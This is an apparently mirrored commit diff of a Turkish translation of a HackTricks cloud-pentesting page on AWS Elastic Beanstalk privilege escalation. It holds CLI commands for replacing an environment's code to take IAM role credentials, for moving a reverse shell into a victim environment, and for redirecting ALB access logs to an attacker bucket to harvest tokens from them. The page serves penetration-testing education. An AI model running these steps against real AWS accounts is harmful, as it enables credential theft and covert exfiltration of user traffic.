mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+99
-14
@@ -4,18 +4,18 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Elastic Beanstalk hakkında daha fazla **bilgi** için:
|
||||
More **info about Elastic Beanstalk** in:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Beanstalk'ta hassas eylemler gerçekleştirebilmek için birçok farklı serviste çok sayıda hassas izne sahip olmanız gerekir. Örneğin **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** ile verilen izinleri kontrol edebilirsiniz.
|
||||
> Beanstalk’ta hassas işlemler gerçekleştirebilmek için, **birçok farklı service içinde çok sayıda hassas permission** gerekir. Örneğin **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** ile verilen permission’ları kontrol edebilirsiniz
|
||||
|
||||
### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others
|
||||
|
||||
Ortamın **code**'unu içeren S3 bucket üzerinde **yazma izinleri** ve uygulamayı **yeniden oluşturma** izinlerine sahip olduğunuzda (`elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç ek izin gereklidir), **code**'u **değiştirebilir**, uygulamayı **yeniden oluşturabilir** ve uygulamaya bir sonraki erişiminizde **yeni code**'unuz çalıştırılacaktır; bu da saldırganın uygulamayı ve uygulamanın IAM rolünün kimlik bilgilerini ele geçirmesine olanak tanır.
|
||||
**Environment** içindeki **code**’un bulunduğu **S3 bucket** üzerinde **write permissions** ve application’ı **rebuild** etme permission’larıyla ( `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç permission daha gerekir), **code**’u **modify** edebilir, app’i **rebuild** edebilir ve uygulamaya bir sonraki erişimde **yeni code**’unuzu **execute** etmesini sağlayabilirsiniz; bu da attacker’ın application’ı ve onun IAM role credentials’ını compromise etmesine izin verir.
|
||||
```bash
|
||||
# Create folder
|
||||
mkdir elasticbeanstalk-eu-west-1-947247140022
|
||||
@@ -30,39 +30,39 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
|
||||
# Rebuild env
|
||||
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
|
||||
```
|
||||
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, ve daha fazlası...
|
||||
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
|
||||
|
||||
Bahsedilenlerin yanı sıra birkaç **`S3`**, **`EC2`**, **`cloudformation`**, **`autoscaling`** ve **`elasticloadbalancing`** izni, sıfırdan ham bir Elastic Beanstalk senaryosu oluşturmak için gereklidir.
|
||||
Mentioned olanlar ile birlikte birkaç **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** ve **`elasticloadbalancing`** izinleri, sıfırdan ham bir Elastic Beanstalk senaryosu oluşturmak için gereklidir.
|
||||
|
||||
- Bir AWS Elastic Beanstalk uygulaması oluşturun:
|
||||
- Bir AWS Elastic Beanstalk application oluşturun:
|
||||
```bash
|
||||
aws elasticbeanstalk create-application --application-name MyApp
|
||||
```
|
||||
- Bir AWS Elastic Beanstalk ortamı oluşturun ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
|
||||
- Bir AWS Elastic Beanstalk environment oluşturun ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
|
||||
```bash
|
||||
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
|
||||
```
|
||||
Bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı sadece **güncelleyebilirsiniz**.
|
||||
Eğer bir environment zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı **güncelleyebilirsiniz**.
|
||||
|
||||
- Uygulama kodunuzu ve bağımlılıklarınızı bir ZIP dosyasına paketleyin:
|
||||
- Uygulama kodunuzu ve dependencies’inizi bir ZIP dosyası içine paketleyin:
|
||||
```python
|
||||
zip -r MyApp.zip .
|
||||
```
|
||||
- ZIP dosyasını bir S3 bucket'a yükleyin:
|
||||
- ZIP dosyasını bir S3 bucket’a upload edin:
|
||||
```python
|
||||
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
|
||||
```
|
||||
- AWS Elastic Beanstalk uygulama sürümü oluşturun:
|
||||
- Bir AWS Elastic Beanstalk application version oluşturun:
|
||||
```css
|
||||
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
|
||||
```
|
||||
- Uygulama sürümünü AWS Elastic Beanstalk ortamınıza dağıtın:
|
||||
- Uygulama sürümünü AWS Elastic Beanstalk environment'ınıza deploy edin:
|
||||
```bash
|
||||
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
|
||||
```
|
||||
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
|
||||
|
||||
Her şeyden önce, önceki adımları takip ederek **victim** üzerinde çalıştırmak istediğiniz **kod** ile bir **legit Beanstalk environment** oluşturmanız gerekiyor. Muhtemelen şu **2 dosyayı** içeren basit bir **zip**:
|
||||
Öncelikle, **önceki adımları** izleyerek **victim** üzerinde çalıştırmak istediğiniz **code** ile **meşru bir Beanstalk environment** oluşturmanız gerekir. Muhtemelen şu **2 file** içeren basit bir **zip** yeterlidir:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="application.py" }}
|
||||
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Kendi **Beanstalk env**'inizde rev shell'iniz çalışır hale geldiğinde, onu **hedef** env'e **taşımak** zamanı. Bunu yapmak için kendi Beanstalk S3 bucket'ınızın **Bucket Policy**'sini güncellemeniz gerekiyor, böylece **hedef erişebilsin** (Bu, Bucket'ı **HERKES**'e **açacaktır**):
|
||||
Kendi **Beanstalk env**’inizi **rev shell** çalıştırırken, onu **victim**’in env’sine **migrate** etme zamanı. Bunun için, beanstalk S3 bucket’ınızın **Bucket Policy**’sini, **victim**’in ona erişebilmesi için **update** etmeniz gerekir (Bunun **Bucket**’ı **EVERYONE** için açacağını unutmayın):
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -162,4 +162,89 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
|
||||
|
||||
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
|
||||
```
|
||||
### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` ALB access logs exfiltration'ı etkinleştirmek için
|
||||
|
||||
Bir saldırgan bir Elastic Beanstalk **web** ortamını **enumerate** edebilir, onu **update** edebilir ve ayrıca sahip olduğu bir S3 bucket'ın **policy**'sini **control** edebiliyorsa, **ALB access logs**'u etkinleştirip onları bu bucket'a yönlendirerek **HTTP traffic**'i **exfiltrate** edebilir.
|
||||
|
||||
> [!NOTE]
|
||||
> Bu teknik ayrıca ALB log delivery service'in log'ları oraya yazabilmesi için **destination bucket policy**'sini **modify** etme yeteneği de gerektirir.
|
||||
|
||||
ALB log delivery service'in oraya yazabilmesi için bir **attacker-controlled bucket** hazırlayın:
|
||||
```bash
|
||||
ENV_NAME=<environment-name>
|
||||
LOG_BUCKET=<attacker-bucket>
|
||||
LOG_PREFIX=<prefix>
|
||||
cat > /tmp/alb-log-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowALBLogDeliveryPut",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": [
|
||||
"logdelivery.elasticloadbalancing.amazonaws.com",
|
||||
"delivery.logs.amazonaws.com"
|
||||
]
|
||||
},
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowALBLogDeliveryAclCheck",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": [
|
||||
"logdelivery.elasticloadbalancing.amazonaws.com",
|
||||
"delivery.logs.amazonaws.com"
|
||||
]
|
||||
},
|
||||
"Action": [
|
||||
"s3:GetBucketAcl",
|
||||
"s3:ListBucket"
|
||||
],
|
||||
"Resource": "arn:aws:s3:::$LOG_BUCKET"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
|
||||
aws s3api put-bucket-policy \
|
||||
--bucket "$LOG_BUCKET" \
|
||||
--policy file:///tmp/alb-log-policy.json \
|
||||
--profile "$PROFILE"
|
||||
```
|
||||
Sonra ALB access logs’u etkinleştirin:
|
||||
```bash
|
||||
aws elbv2 modify-load-balancer-attributes \
|
||||
--load-balancer-arn "$LB_ARN" \
|
||||
--attributes \
|
||||
Key=access_logs.s3.enabled,Value=true \
|
||||
Key=access_logs.s3.bucket,Value=$LOG_BUCKET \
|
||||
Key=access_logs.s3.prefix,Value=$LOG_PREFIX \
|
||||
--region us-east-1 \
|
||||
--profile "$PROFILE"
|
||||
```
|
||||
Bundan sonra, ALB’nin logları toplu olarak hazırlayıp teslim etmesini bekleyin:
|
||||
```bash
|
||||
aws s3 ls "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" --recursive --profile "$PROFILE"
|
||||
```
|
||||
Son olarak, logs'u indir ve ilginç query string'leri için grep yap:
|
||||
```bash
|
||||
mkdir -p /tmp/lab2-logs
|
||||
aws s3 cp "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" \
|
||||
/tmp/lab2-logs \
|
||||
--recursive \
|
||||
--profile "$PROFILE"
|
||||
|
||||
find /tmp/lab2-logs -name '*.gz' -print0 | xargs -0 zgrep -n 'token='
|
||||
```
|
||||
**request line** içindeki ALB logs, hassas veri URL içinde gönderiliyorsa **`?token=<FLAG>`** gibi değerler içerebilir.
|
||||
|
||||
**Impact**:
|
||||
|
||||
- HTTP request metadata'nın saldırgan tarafından kontrol edilen bir logging plane üzerinden sürekli exfiltration'ı
|
||||
- URL query string içinde bulunan secrets'ın açığa çıkması
|
||||
- Trafik meşru application bileşenleri tarafından üretildiği ve AWS-managed logging tarafından export edildiği için daha stealthy bir exfiltration yolu
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user